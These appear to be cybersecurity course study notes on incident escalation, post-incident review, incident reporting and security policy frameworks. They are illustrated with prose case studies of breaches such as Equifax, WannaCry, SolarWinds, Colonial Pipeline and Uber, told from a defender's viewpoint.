- Lab 12 example (compromised credentials scenario): tier 1 validates a flagged hash as known malware, pivots to Rita (failed logins across servers from an IP on a C2 list), records a true positive, account compromise with malware, P2, escalates; tier 2 finds Bob probed from the same IP, disables both accounts, blocks the C2 address, sends the sample to tier 3.
- Phishing playbook, tier 1: check headers and sender domain; sandbox the attachment or link (never from the office network); find every recipient in mail logs; anyone clicked, escalate to tier 2; block sender and URL; purge; tell the reporter.
- Automation: SOAR takes over enrichment, lookups and tickets; the kill chain stage guides urgency (an alert at command and control means the attacker is inside).
Escalation: who is told, when, and on what trigger
Escalation: passing an incident to someone with more skill (functional) or more authority (hierarchical) when it exceeds what the current handler can resolve or decide, by rules written in advance; the course's contact list carries escalation and on-call lines for this.
- Functional: tier 1 to 2 to 3, or to a specialist team (network, database, cloud, outside forensic firm).
- Hierarchical: SOC manager or incident manager, CISO, senior management, board: they decide shutting a service, outside responders, regulator notification, public statements.
Triggers (the escalation matrix)
- Severity: every P1 straight to the incident manager; P2 within the hour.
- Scope: several hosts or accounts, a domain controller or critical server, spread under way.
- Data: personal, payment or health data exposed: legal (a notification clock may start).
- People: an employee involved: HR and legal.
- Crime: fraud, extortion, ransom: law enforcement.
- Publicity: customers or reporters: public relations.
- Time: an SLA about to be missed, or nobody answering.
| Priority | Acknowledge | Update management | Example |
|---|---|---|---|
| P1 critical | 15 minutes | every hour | ransomware spreading |
| P2 high | 1 hour | every 4 hours | admin account compromised |
| P3 medium | 4 hours | daily | one laptop infected, contained |
| P4 low | 1 business day | weekly summary | phishing reported, nobody clicked |
(Illustrative times; each organization sets its own SLA.)
- No answer (NIST): repeat the contact; after perhaps 15 minutes escalate to the IR team manager; then higher, until someone responds.
- GDPR (EU): personal data breach to the supervisory authority without undue delay, where feasible within 72 hours; individuals told without undue delay if high risk.
- US SEC: a listed company discloses a material cybersecurity incident within four business days of deciding it is material.
- Nepal Rastra Bank Cyber Resilience Guidelines (2023), for licensed payment system operators and payment service providers: a potentially material or systemic cyber incident reported to the regulator immediately; criminal intent (fraud, extortion) escalated to law enforcement; the plan names who is notified, who decides, what is reported when.
- NIC Asia Bank, October 2017: during the Tihar holidays, with the bank closed, attackers used its SWIFT system for about 4.4 million US dollars of fraudulent transfers to several countries (US, UK, Japan, Singapore among them); Nepal Rastra Bank asked foreign authorities and banks not to release them; most was recovered, about 580,000 dollars not; police CIB investigated, KPMG engaged. Lessons: fast outward escalation saved most of the money; holidays test thin on-call rotas.
Post-incident analysis: lessons learnt, root cause and metrics
Post-incident analysis: the review after an incident closes: what happened, why, how well the response worked, what must change; step 8 of the course's framework, lessons learnt. NIST: one of the most important parts, and the most often skipped.
| Course activity | What it does |
|---|---|
| Root cause analysis | documents the triggers and security gaps that let the incident happen |
| Controls and processes readiness | evaluates the efficiency of current security controls and processes in the light of the incident |
| Incident trends analysis | are past incidents learnt from; is the risk profile changing? |
| Mitigation plan | reduces the impact of similar future incidents |
| Improvements plan | stops similar incidents happening again |
The lessons learned meeting
- When: within several days of the end; required after major incidents, optional after minor; several small incidents can share one.
- Who: everyone involved plus future partners; a skilled moderator.
- How: blameless (fix the process, not the person).
- NIST's questions: what happened and when; how staff and management performed, procedures followed and adequate; information needed sooner; steps that hindered recovery; what to do differently; better information sharing; corrective actions; precursors and indicators to watch; missing tools or resources.
Root cause analysis
Root cause: the deepest cause that, once fixed, stops recurrence; the trigger ("a user clicked") rarely is. Five whys on Equifax:
- Data stolen: Apache Struts exploited on the dispute portal.
- Exploitable: never patched, though a patch existed since March 2017.
- Not patched: alert sent to an out of date list; the follow-up scan missed the portal.
- 76 days unnoticed: an expired certificate stopped traffic inspection seeing encrypted traffic.
- Certificate unnoticed: nothing tracked certificates or asset owners.
Root causes: asset, patch and certificate management. A fishbone (Ishikawa) diagram sorts several causes under people, process and technology.
Metrics
| Metric | Measures | From ... to |
|---|---|---|
| MTTD, mean time to detect | how long threats go unseen | attack start to detection |
| MTTA, mean time to acknowledge | SOC reaction | alert to an analyst taking it |
| MTTC, mean time to contain | spread stopped | detection to containment |
| MTTR, mean time to respond (or recover) | resolution speed | detection to resolution (state which) |
| Dwell time | attacker presence | first compromise to detection or eradication |
| Volume, false positive rate, cost per incident | workload, rule quality, budget | per month or quarter |
Example: three incidents detected after 2, 6 and 10 hours, resolved 4, 8 and 12 hours after detection:
Halving resolution times gives MTTR 4 hours; the trend (the course's trends analysis in numbers) shows improvement. Equifax's dwell time of about 76 days is the cost of a blind spot. Outputs: the mitigation and improvement plans, updated playbooks and rules, training, input to risk assessment and budget; incident hours and cost justify funding and reveal systemic weaknesses (NIST); all of it goes back into preparation, closing the cycle.
The incident report and who receives it
Incident report: the written record made at the close of an incident (NIST's follow-up report): what happened, when, what it affected, why, what was done, what will change; step 7 of the course's framework, reporting. It closes the incident, guides similar ones, its chronology and damage estimate can matter legally (including prosecution), it shows due care, and supports the budget.
| Course activity | Examples |
|---|---|
| Ongoing reporting | documentation and evidence generated during the earlier steps |
| Evidence gathering | threat actors, attack vectors, attack surface |
| Incident documentation | threat and incident details, triggers, owner, findings, timeline |
| Incident register | an overall register to track progress and generate statistics |
| Incident report communication | internal and external: staff, management, board, vendors, clients, government, regulators, law enforcement |
The incident register lists every incident: the detection step checks it for similar reports, and its statistics feed the trends analysis of lessons learnt.
- Executive summary: one page, business language: what happened, impact, status, decisions needed.
- Incident details: ID, category, priority, detection source, reporter, UTC times, handlers.
- Timeline: first compromise to closure, from logs.
- Scope and impact: systems, accounts, data, people affected; downtime and cost.
- Root cause and attack path: mapped to kill chain stages or ATT&CK techniques.
- Actions taken: containment, investigation, remediation, with times.
- Evidence and indicators: IoCs (hashes, IPs, domains), evidence list, chain of custody references.
- Lessons and recommendations: corrective actions with owners and due dates.
- Appendices: log extracts, technical detail, notifications sent.
| Reader | Needs | Form |
|---|---|---|
| Board, senior management | impact, risk, cost, decisions | executive summary |
| IT and security teams | attack path, IoCs, fixes | technical report |
| Legal and compliance | data, laws, deadlines | notification record |
| Regulators | required facts, on time | their form (GDPR 72 hours; NRB immediately for a material incident) |
| Customers, public | what happened to their data, what to do | plain notice; PR statement |
| Law enforcement | evidence for court | evidence package with chain of custody |
| Peers and CERTs | indicators | shared IoCs (Colonial Pipeline shared its IoCs with law enforcement) |
- Memory example (made up): a fibre cut takes out the internet in part of the valley: engineers get the location and splice plan, managers the outage time and cost, the regulator the formal notice, customers one SMS: same incident, a version for each reader.
- During the incident: the ticket holds status, summary, indicators, related incidents, each handler's actions, chain of custody, impact, contacts, evidence list, comments, next steps (NIST); management gets SLA-paced updates, all through management (the fourth rule).
- Same skeleton as an audit findings report (executive summary, scope, findings and evidence, risk rating, recommendations, appendices).
- Retention: per the record retention policy; NIST cites a US federal schedule of three years after follow-up actions complete.
Seven recent attacks, and what would have stopped them
The deck's table of recent attacks: seven incidents from 2020 to 2022, each with what the attackers did and what would have prevented it; most began with a basic control missing.
| Attack | Date | Attacker actions | Potential prevention (the deck) |
|---|---|---|---|
| SolarWinds supply chain attack | late 2020 (found) | backdoor put into Orion updates via the build process; about 18,000 customers installed them | stronger supply chain security, regular audits, threat intelligence sharing |
| Microsoft Exchange Server exploits | early 2021 | zero-days (ProxyLogon) in on-premises Exchange, web shells, mailbox data stolen; emergency patches 2 March 2021 | timely patching, strong network security, robust intrusion detection |
| LastPass breach | December 2022 (disclosed) | used what was stolen in August 2022 to plant a keylogger on a DevOps engineer's home computer; copied encrypted customer vault backups | stronger password policies, MFA, regular audits |
| Uber breach | September 2022 | bought a contractor's password, MFA pushes until one was accepted | robust access controls, regular assessments, awareness training |
| Okta breach | January 2022; October 2023 | 2022: LAPSUS on a support contractor's laptop for five days; 2023: a service account password saved in an employee's personal Google account | strong password policies, MFA, regular audits |
| T-Mobile breach | August 2021 | in through an internet-exposed router (the attacker's account), from testing environments to servers holding customer data by brute force (T-Mobile's account); personal data (Social Security numbers included) of about 76 million people | network security, data encryption, regular vulnerability assessments |
| Colonial Pipeline ransomware | May 2021 | DarkSide via a legacy VPN account with a compromised password and no MFA | network security, patching, robust backup and recovery |
Three rows corrected, two refined: five rows of the deck's table differ from the companies' own accounts; the table above follows the companies and keeps the deck's preventions.
| Row | The deck says | The company's own account |
|---|---|---|
| Colonial Pipeline | phishing emails led to the ransomware | compromised password on a legacy VPN profile, no MFA (CEO's testimony to Congress) |
| LastPass | phishing emails tricked employees into revealing logins | keylogger on a DevOps engineer's home computer, planted through an unpatched media program (LastPass, 2023) |
| Okta | January 2022, with the personal Google account root cause | that root cause is the October 2023 support system breach, published November 2023; January 2022 was LAPSUS through a support contractor |
| Uber | MFA requests sent to an employee | an external contractor (Uber's own update) |
| T-Mobile | vulnerabilities, particularly in its billing systems | exposed router and testing environments, then brute force; no mention of billing systems |
- Okta's root cause, as the deck tells it: an employee signed in to a personal Google account in Chrome on an Okta-managed laptop, and a service account's username and password were saved into that personal account; anything with access to it (a rogue browser extension, an app, a compromised machine) could reach a work credential; Okta judged the likeliest route a compromise of the personal Google account or personal device. The service account could view and update support cases: files of 134 customers downloaded, some HAR files (browser session recordings) holding session tokens, used to hijack the Okta sessions of five customers. Fix: the deck's line (strong password policies, MFA, regular audits), plus personal and work identities apart on managed devices and service account secrets in a vault.
- Pattern: four began with identity (Uber, Okta, Colonial, LastPass), two with something exposed and unpatched (Exchange, T-Mobile's router), one with a vendor (SolarWinds); the preventions repeat because the causes repeat.
- Memory aid: each row is the eight steps in miniature: the attacker actions column is what detection and investigation find; the prevention column is what lessons learnt feed into preparation.
Case: the terminated vice president who kept reading the email
Insider threat: a threat from someone who has, or had, authorised access: employee, former employee, contractor, partner. Source: a CERT case (Carnegie Mellon SEI), in the Common Sense Guide to Prevention and Detection of Insider Threats, 3rd edition (2009), under "deactivate computer access following termination".
Figure: five stages on a timeline (trusted insider; terminated with access left; five months inside; warnings sent; caught), each with the control that would have stopped it (least privilege; offboarding; detection with MFA, alerts and access reviews; response plan; evidence).
a. What happened and the harm
Director of IT, then VP of technology, at a financial market information publisher; oversaw the network and email system. Three years after termination he logged in remotely (IDs and passwords barely changed), read the HR director's and executives' email for over five months on planned firings, and warned two employees from a Yahoo! account. They told supervisors; remote access logs and Yahoo! and ISP records identified him. Convicted: 32,000 dollars in fines and restitution, one year's probation, first six months home confinement.
- Confidentiality: five months of executive and HR email exposed.
- Money: over 100,000 dollars to investigate.
- Operations and trust: personnel decisions leaked to the staff concerned; unknown what else was read.
- Reputation and legal exposure: serious for a seller of trusted financial information.
b. Factors
| Factor | What failed |
|---|---|
| No offboarding | accounts and remote access not disabled |
| Static credentials | IDs and passwords virtually unchanged for three years |
| Concentrated privilege | one person over network and email, knew the accounts |
| No access review | active accounts never compared with staff |
| No monitoring | remote logins logged but unreviewed for five months |
| Password only remote access | no second factor |
Motive: a dismissed technical executive; CERT singles out terminated technical employees. Today an insider need not even be angry: LAPSUS advertised for staff who would sell VPN access.
c. Prevention
- Offboarding: disable every account (network, email, VPN, cloud, admin) by the last day, at notice for privileged or disputed departures; collect devices and tokens.
- Reset what he knew: shared, service and admin passwords; rotate keys.
- Password policy: individual accounts, no sharing, a vault for privileged accounts, privileged and shared passwords rotated on a schedule and whenever an administrator leaves. Note: the class notes force all users, privileged ones above all, to change at regular intervals (for example every 90 days); NIST SP 800-63B advises against forced periodic changes for ordinary users and requires a change on evidence of compromise; scheduled rotation still suits privileged and shared passwords (a vault can do it); a shared password known to a leaver changes the day he leaves.
- MFA on all remote access.
- Access reviews: quarterly against the HR list, so stale and orphaned accounts are found and disabled; auto-disable accounts dormant for a set period (such as 60 days).
- Least privilege, separation of duties: no unchecked single administrator; privileged sessions recorded.
- Monitoring: SIEM rules on disabled or dormant account logins, odd hours or places, admin mailbox access; UEBA.
- Logs and a plan: logs kept long enough; legal and HR in as soon as an insider is suspected.
As an incident: detection by people (two employees); categorisation unauthorized access, restricted; containment by disabling the account and changing credentials; investigation with logs and outside records via legal process; every lesson in preparation.
WannaCry, May 2017: a worm meets unpatched Windows
WannaCry: ransomware that spread as a worm on 12 May 2017 through Windows SMBv1, using a flaw patched two months earlier (MS17-010, 14 March 2017); no user had to click.
- Scale: more than 200,000 computers in at least 100 countries (National Audit Office); files encrypted, bitcoin ransom demanded.
- Spread: scanning for reachable SMBv1 and exploiting it with EternalBlue, leaked by the Shadow Brokers in April 2017.
- Stopped: that evening Marcus Hutchins registered a domain the malware checked before encrypting (the kill switch).
- Attribution: US and UK governments named North Korea's Lazarus Group, December 2017.
NHS England (NAO, October 2017)
- At least 80 of 236 hospital trusts affected (34 percent); 603 other NHS organizations infected, 595 of them GP practices.
- 6,912 appointments known cancelled, about 19,000 estimated; five hospitals diverted emergency patients.
- 1,220 pieces of diagnostic equipment infected (about 1 percent of the NHS's total), besides devices disconnected as a precaution.
- No NHS organization paid; no patient data reported compromised or stolen.
- All infected organizations ran unpatched or unsupported Windows, mostly unpatched Windows 7, not XP; managed internet-facing firewalls would have kept it out.
- NHS Digital issued critical patch alerts in March and April 2017; none of 88 trusts assessed on site before the attack passed.
| Step | What happened | What should have happened |
|---|---|---|
| Preparation | national plan never tested locally; no patches; firewalls unmanaged | rehearse; patch critical alerts within days; block port 445 at the edge; segment; replace unsupported systems; inventory including medical devices; offline backups |
| Detection and categorisation | ransom notes on screens; cause and scale slow to establish; lead unclear at first (major incident declared 4 pm, NHS England took the lead 6:45 pm) | alerts on SMB scanning; one reporting route; named lead from the start |
| Containment | systems and email switched off as a precaution, adding disruption; personal phones and WhatsApp | isolate segments, block port 445 internally, out of band channel ready |
| Investigation and remediation | kill switch, patching, antivirus updates, restores; 44 percent of GP practices patched by Sunday 14 May | reimage, restore from backups, patch before reconnecting |
| Reporting and lessons learnt | NHS lessons: plan with roles, act on critical alerts, communications when systems are down, boards own cyber risk | same, with time to patch tracked |
Lesson: a two month old patch and a closed port would have stopped it; the response suffered from an unrehearsed plan and communications that depended on the attacked systems. Chapter 7 reads the policy failure.
Equifax, 2017: a missed patch and a blind sensor
Equifax breach: theft of personal data of about 147 million people from the US credit bureau, May to July 2017, through a web framework flaw that already had a patch, found after about 76 days (GAO-18-559, 2018); one of the deck's four case studies.
- March 2017: US-CERT warned of an Apache Struts flaw (CVE-2017-5638) allowing command execution; a fix existed. Equifax's notice went to an out of date recipient list; a scan a week later missed the dispute portal. On 10 March unknown parties scanned Equifax, found the portal and confirmed they could run commands.
- From 13 May 2017: attackers entered via the portal, hid in its encrypted connections, found unencrypted usernames and passwords, reached 48 more databases beyond the portal's 3, ran about 9,000 queries, removed data in small pieces over encrypted web traffic.
- Blind spot: the traffic inspection device's certificate had expired about 10 months before the breach began, so encrypted traffic went uninspected.
- 29 July 2017: an administrator renewed the certificate; inspection showed abnormal commands; attacker IPs blocked.
- Response: 30 July portal offline; 31 July the security chief told the CEO; 2 August FBI informed and an outside firm engaged; investigation to 2 October; intact logs let the team rebuild the attackers' queries.
- 7 September 2017: disclosure: 143 million, revised to 145.5 million, plus about 2.4 million with partial data.
- Communication: breach information on a new domain, equifaxsecurity2017.com; Equifax's own Twitter account sent customers more than once to a look-alike, securityequifax2017.com, set up by a developer to show how easily it could be faked.
- Aftermath: July 2019 settlement with the FTC, CFPB and states of up to 700 million dollars; February 2020 US charges against four members of China's People's Liberation Army.
- Equifax's four factors (to GAO): identification, detection, segmentation, data governance; plus no limit on query rates.
| Step | Lesson |
|---|---|
| Preparation | asset inventory with owners; critical patches within days; certificate expiry tracked; segmented databases; no plaintext credentials |
| Detection | monitor the monitors; alert on abnormal query volumes |
| Containment | right once seen: block addresses, portal offline |
| Reporting and lessons learnt | about six weeks from discovery to disclosure drew heavy criticism; root causes were process failures |
Chapter 7 reads it as a failed patch and vulnerability management policy.
SolarWinds, 2020: the update that was the attack
SolarWinds (SUNBURST): a supply chain attack in which Russia's SVR inserted a backdoor into SolarWinds' Orion network monitoring software, so a trusted, signed vendor update installed it in about 18,000 customer networks; one of the deck's four case studies.
- September 2019: attackers inside SolarWinds, testing code injection into the build (GAO).
- February 2020 onward: SUNBURST placed in the Orion build; trojanized updates from March 2020; about 18,000 customers installed them.
- Quiet by design: waited before calling home, varied timing, mimicked SolarWinds traffic, used subdomains of avsvmcloud[.]com; follow-on intrusion only at chosen high value victims (CISA: not every backdoored organization was exploited), using stolen credentials and forged SAML tokens to reach cloud email.
- November 2020, detection: at FireEye an alert showed an employee's account registering a second MFA phone; the employee had not; the investigation led to Orion; FireEye published 13 December 2020.
- 13 December 2020: CISA Emergency Directive 21-01: federal agencies disconnect or power down affected Orion products.
- Scope: nine federal agencies and about 100 private companies (White House, February 2021); SVR formally named in April 2021.
Why hidden for months
- Trusted channel: a signed update in privileged, allowed-everywhere software.
- Mimicry: normal-looking traffic, delays, low volume, chosen targets.
- Legitimate access: real credentials and tokens, not detectable malware.
- No signatures: unknown until FireEye found it, about nine months after the first trojanized update.
Lessons
- Anomaly over signature: a new MFA device, followed up by a person; identity monitoring and UEBA.
- Suppliers are attack surface: build integrity, software inventory, least privilege for monitoring tools; block or watch their outbound traffic. The deck's prevention: stronger supply chain security practices, regular security audits, threat intelligence sharing.
- Containment at scale: switch the product off across government, then hunt everywhere it ran.
- Remediating identity: tokens forged with a stolen signing certificate survive password resets; certificates and trust settings replaced.
- Share fast: FireEye's publication gave defenders the indicators within days.
Colonial Pipeline, 2021: ransomware in IT, a shutdown in OT
Colonial Pipeline attack: the DarkSide ransomware attack of May 2021 on the largest US refined fuel pipeline, which encrypted the IT network but led the company to halt the whole pipeline, causing East Coast fuel shortages (sources: CEO testimony to Congress, June 2021; US Department of Justice); one of the deck's four case studies.
- Target: over 5,500 miles, nearly half the fuel used on the US East Coast.
- Entry: a legacy VPN profile not meant to be in use, a compromised password, no MFA. The deck's table says phishing emails; the CEO's testimony says the VPN password; the deck's prevention (network security, patching, backup and recovery) still applies.
- Detection: just before 5:00 a.m., Friday 7 May 2021, an employee found a ransom note on an IT system; DarkSide (ransomware-as-a-service) had encrypted IT systems.
- Containment: stop work order; shutdown from about 5:55 a.m.; all 5,500 miles stopped by 6:10 a.m. to keep the malware from the OT network; entry point and spread unknown.
- Escalation: FBI told that morning; FBI and CISA call within hours; IoCs shared; Mandiant hired; Department of Energy led the federal response.
- Ransom: about 75 bitcoin (about 4.4 million dollars) paid on 8 May; in June the Department of Justice seized 63.7 bitcoin (about 2.3 million dollars then).
- Recovery: some lines manual within hours; all lines returning from the evening of Wednesday 12 May after scanning for malware and IoCs; staff patrolled the line and collected key readings by hand while OT was not visible.
- Impact: panic buying, shortages; late May the TSA's first mandatory pipeline cybersecurity directive (report incidents to CISA, a 24/7 cybersecurity coordinator, a gap assessment).
| Question | Answer |
|---|---|
| Categorisation | malicious code (ransomware); IT hit, OT at risk; live; national operational and financial impact; P1 |
| Why stop OT? | containment under uncertainty; a controlled stop safer than risking control systems; everyone had stop work authority |
| Was paying right? | one of the CEO's toughest decisions; funds crime, guarantees nothing, FBI advises against; partial recovery rare |
| Root cause | an unused remote access profile left enabled, password only |
| Should have been done | remove unused accounts and VPN profiles; MFA on all remote access; IT and OT segmentation; offline, tested backups and restore |
Compared with WannaCry: a different preparation failure (an account, not a patch), the same containment dilemma: switching off limits damage and causes it, so the choice belongs in the plan.
Uber, 2022: MFA fatigue and a hacker in Slack
Uber breach, September 2022: an attacker holding a contractor's stolen password sent multi-factor approval requests until one was accepted, then took over internal tools and announced himself to staff on Slack; one of the deck's four case studies. Sources: Uber's security updates of September 2022; the attacker's own claims to reporters, marked as such.
- Password: the contractor's personal device was infected with malware; the attacker probably bought the Uber corporate password on the dark web.
- MFA fatigue: each login attempt sent a two-factor approval request, which at first blocked access; eventually the contractor accepted one. By his own account, the attacker also posed as Uber IT support.
- Escalation: several other employee accounts, then elevated permissions to tools including G-Suite and Slack; by his account, a PowerShell script on a network share held an administrator's password for the privileged access management system.
- 15 September 2022, detection: a post to a company-wide Slack channel, "I announce I am a hacker and Uber has suffered a data breach"; OpenDNS reconfigured to show employees a graphic image on internal sites; many staff took it for a joke.
- Taken: some internal Slack messages, information from a finance tool for invoices, access to the HackerOne bug bounty dashboard (reports seen had been fixed); no evidence production systems or sensitive user data (trip history) were accessed.
- Response: compromised accounts blocked or reset, affected tools disabled (Slack among them), keys to many internal services rotated, codebase locked against changes, re-authentication as tools came back, MFA policies strengthened, monitoring added, the FBI and the US Department of Justice involved.
- Attribution: Uber believed the attacker was affiliated with LAPSUS.
| Step | What happened | What should have happened |
|---|---|---|
| Preparation | push approval the only second factor; admin password in a script; work password on a contractor's device | number matching or phishing-resistant MFA; secrets only in the vault; awareness of MFA fatigue |
| Detection and categorisation | found from the attacker's own Slack post, taken for a joke | alerts on bursts of rejected pushes and new device logins; unauthorized access, privileged, live: P1, restricted |
| Containment | accounts blocked, tools disabled, keys rotated, Slack offline | right, plus an out of band channel from the start |
| Investigation and remediation | accounts, tools, downloads; codebase locked, re-authentication, MFA strengthened | the same, with every hard-coded secret found and rotated |
| Reporting and lessons learnt | public updates within days; FBI and Department of Justice | push MFA alone is not enough; secrets out of scripts; staff trained to treat a hacker's message as an incident |
Lessons: MFA fatigue beats simple push MFA; hard-coded secrets are skeleton keys; a contractor's personal device is attack surface; people must recognise an incident (answering a hacker with emojis breaks the first rule); report honestly: Uber had hidden a 2016 breach and its former security chief was convicted for it in October 2022, weeks after this breach, which Uber reported within days.
Chapter 7: Security policy and audit 9210 words
When policy fails, the breach follows
The pattern: headline breaches trace back to a control that policy should have required, or one that policy required but nobody enforced, verified or audited. The deck opens with four landmark cases traced to missing or unenforced policy:
| Incident | What happened | Policy gap |
|---|---|---|
| Equifax, 2017 | Known Apache Struts flaw (CVE-2017-5638) in an online dispute portal exploited two months after the fix; data on about 147 million people taken over about 76 days | Patch and vulnerability management: alert to an out-of-date list, a scan missed the server, nobody verified; monitoring blind |
| WannaCry, 2017 | Ransomware worm, 12 May 2017, Windows SMBv1 flaw, over 150 countries; at least 81 of 236 NHS trusts in England, about 19,000 appointments cancelled | Patch cadence and an incident response plan: MS17-010 out since 14 March 2017; old systems unpatched; no rehearsed incident response plan |
| Marriott (Starwood), found 2018 | Web shell planted in Starwood's network in 2014, still there after Marriott bought Starwood in 2016; 339 million guest records | Third-party and acquisition due diligence, privileged access monitoring; UK ICO fine GBP 18.4 million in 2020 |
| SolarWinds, 2020 | Backdoor in Orion monitoring software updates, installed by about 18,000 customers; found December 2020 | Supply chain policy and audit: vendor risk assessment, build integrity, least privilege for monitoring tools |
Reading any breach as a policy failure, four questions in order:
- Which control would have stopped it (patch, alert, segment, supplier check)?
- Did a policy require it? If not, the gap is in the policy.
- Was it enforced? A rule nobody follows is a document, not a control.
- Was it verified by a scan, audit or test?
To remember the four questions: a hostel gate has a lock (control), the warden's rule says lock it at 10 pm (required), nobody locks it (not enforced), nobody checks in the morning (not verified). Equifax had its lock: the patch existed, but nobody applied or checked it.
Equifax through the four questions (GAO-18-559, 2018)
- Identification: the March 2017 US-CERT alert went to an out-of-date mailing list, so the portal's owners never got it; a scan a week later missed the server. Fix: asset inventory with named owners, severity-based patch deadlines, verification scan.
- Detection: the device inspecting encrypted traffic had an expired certificate (about ten months), so the data left unseen. Fix: certificate and monitoring-tool health in the operations standard.
- Segmentation: databases not isolated, so attackers moved from the portal into others. Fix: network segmentation standard.
- Data governance: unencrypted credentials in one database opened others; about 9,000 queries ran unlimited. Fix: data handling and access standards.
No new technology was missing: the patch, scanner and monitoring tool existed. The missing piece was a mandatory, owned, verified process, which due care and due diligence demand.
Not paperwork for its own sake (deck): security fundamentals such as a patching rule and an audit that checks it are the difference between a headline breach and a near miss, where the same flaw is found and fixed before anyone uses it.
Three costs of having no effective policy (class notes):
- Legal and financial risk: an employee misbehaves, no policy forbids it, and the lawsuit and financial judgment can bankrupt a company (c7-spf).
- Major breaches: the four cases above, and Sony Pictures below.
- Insider threats: a malicious insider exploits his position to steal confidential data, as in the notes' case of an employee who was secretly chief executive of a competitor (c7-insider).
Notes' version: the class notes add Sony Pictures 2014 (phishing, poor password management; lesson MFA and awareness training) and date Marriott 2014, when the intrusion began. The deck's "weak passwords and third-party access" fits Marriott's separate 2020 incident: login credentials of two franchise-property employees exposed data on up to 5.2 million guests.
What a security policy framework is, and why policy comes first
Security policy framework (SPF): the structured set of documents (policies, standards, baselines, guidelines, procedures) through which management states how information assets must be protected, turning intent into rules that can be enforced and audited.
Information security policy: the top document; written instructions from management on the proper, secure use of information and assets. A quality information security programme begins and ends with policy: every control needs a mandate, and every audit measures practice against it. Policy is the essential foundation of an effective programme and the reference document for audits and legal disputes.
Purposes of a policy:
- States management's intent: what to protect, how to behave; the will of management in controlling behaviour.
- Gives structure: every standard, procedure and technical control traces back to it.
- Creates a productive work environment, free of distraction and misuse.
- Assigns responsibility: owners, approvers, accountability.
- Protects legally: proof of due care; basis for discipline (deck's opening scenario: no policy forbids the misbehaviour, the company dismisses him, the disgruntled employee sues and wins).
- Ensures consistency and compliance with GDPR, PCI DSS, NRB directives.
- Limits exposure and speeds response to incidents.
- Audit yardstick: with no policy there is nothing to audit against.
Least expensive control, hardest to implement: it costs only management's time to write, approve and communicate it and staff time to adopt it (even with a consultant, a fraction of a technical control), but it depends on people changing behaviour; it fails without senior management commitment, when impractical, or when it does not fit the organisation's objectives. Cheap to write, expensive to embed: that gap is why the rest of the chapter is enforcement, awareness and audit; a policy nobody follows costs little and protects nothing. To remember it: a college rule that only the exam section may change marks costs one meeting and a notice; stopping forty teachers sharing the exam portal password takes a principal who means it.
| View of the framework | What it sorts |
|---|---|
| The hierarchy | documents by how binding and detailed: policy, standard, baseline, guideline, procedure |
| NIST SP 800-14 types | policies by scope: enterprise, issue-specific, system-specific |
| Everyday documents | AUP, password, remote access, IRP, DRP, BCP |
Nepal: NRB Information Technology Guidelines (August 2012) require commercial banks to have a board-approved IT policy reviewed at least annually and a board-approved information security policy communicated to employees, contractors and consultants. Chapter 1 (c1-pol) teaches the same layers as governance basics.
Governance: who approves, who monitors, who answers
Security governance: the direction and oversight by which the board and senior management set security objectives, approve policy and resources, and hold people to account. Management runs security; governance decides what enough looks like and checks it happens. Every organisation has it: the body that approves, monitors and holds security to account, the classic check and balance over people, process and technology. Class notes: the high-level framework of monitoring and approval that keeps the organisation on track; the governance committee approves projects, so every action is sanctioned.
| Element | Question | Example |
|---|---|---|
| People | Who is responsible? | CISO, data owners, administrators, users |
| Process | How are things done? | patching, access review, incident handling |
| Technology | What tools? | firewall, SIEM, EDR, encryption |
| Governance | Approved and working? | steering committee approves policy, reviews metrics quarterly, signs off accepted risk |
What governance gives (deck):
- Structure: standards such as ISO, NIST and ITIL give a common model to understand the flow of everything.
- A measure to monitor against: "are my security professionals doing what they need to, the way they need to?"
- Approval: work runs as an approved project or purchase, never ad hoc.
- Compliance monitoring: a key ongoing duty of the governance committee, including laws, statutes and regulations. Standards give the yardstick; compliance monitoring is how governance keeps score against it.
| Role | Responsibility |
|---|---|
| Board and senior management | approve the enterprise policy, set risk appetite, fund; ultimately accountable |
| Steering committee | approves projects and policies, monitors compliance, settles conflicts |
| CISO | runs the programme, maintains policies, reports to the committee |
| Data owner | business manager who classifies data and decides access |
| Custodian | IT staff carrying out the owner's decisions: access, backups, patches |
| Users | follow policy, report incidents |
| Internal audit | independent assurance to the audit committee |
To remember the roles, a college's exam marks: principal and management committee approve the rules on changing marks (governance); the head of the exam section owns the marks and decides who may see or edit them (data owner); the IT section runs the server, accounts and backups (custodian); teachers and students follow the rules (users); an internal audit team checks it all happens.
- IIA three lines model (2020): first line operational management owns and runs controls; second line risk and compliance monitors; third line internal audit gives independent assurance. Audit is part of governance.
- Governance is not management: COBIT 2019 calls governance evaluate, direct and monitor; management plans, builds and runs. A CISO who writes, approves and audits his own policy collapses all three lines.
- Nepal: NRB puts the IT and information security policies under board approval and makes the board or audit committee resource the annual IS audit.
The policy hierarchy: policy, standard, baseline, guideline, procedure
Policy hierarchy: five layers from broad intent to exact steps; each supports the one above; the guideline is the only layer that is not mandatory. Documents grow more numerous, technical and frequently changed further down: broader and more general at the top, more specific and technical at the base. The class notes label the policy strategic (sanctioned by senior management) and the standards, guidelines and procedures beneath it tactical, the documents that support it and turn it into practice.
Figure: a pyramid of the five layers, policy at the apex and procedure at the base, with every layer marked mandatory except the guideline, marked recommended.
Figure: the lecture's own version (deck slide 7): the same five layers as bars narrowing downwards, policy widest because it covers the most ground, procedure narrowest because it covers one task; the reverse shape of the pyramid, which widens as documents multiply. Same order, guideline alone recommended; the pyramid is the one to reproduce.
- Policy: plan or course of action guiding decisions; high level, sanctioned by senior management, mandatory; says what and why, names no product; states penalties and an appeals process.
- Standard: compulsory requirements for hardware, software, technology and controls; the detailed statement of what must be done to comply. Internal (one make of laptop, one email signature) or adopted (PCI DSS, ISO/IEC 27001).
- Baseline: minimum security level every system must meet; a system below it is taken out of production until brought up. Drawn from Common Criteria, ITSEC, NIST or CIS Benchmarks.
- Guideline: recommended actions and best practice where no standard exists or to explain one; names the mechanism, not the product; not compulsory.
- Procedure: step-by-step instructions implementing a control; mandatory; audited by asking someone to perform it.
Mnemonic: Police Sipahi Bhaagyo, Gaai Pachhyaayo (the police constable ran away, a cow chased him): Police for policy (the word is nearly inside it), Sipahi standard, Bhaagyo baseline, Gaai guideline (the cow obeys no rule, and no one has to obey a guideline), Pachhyaayo procedure.
| Layer | Binding | Example (laptop data) |
|---|---|---|
| Policy | mandatory | Confidential data must be protected against loss or theft on every device |
| Standard | mandatory | Every laptop uses AES-256 full-disk encryption; screen locks after five idle minutes |
| Baseline | mandatory | Every laptop image meets the CIS Level 1 benchmark |
| Guideline | recommended | Passphrase of several random words; laptop in hand luggage |
| Procedure | mandatory | Steps 1 to 6 to enable BitLocker and escrow the recovery key |
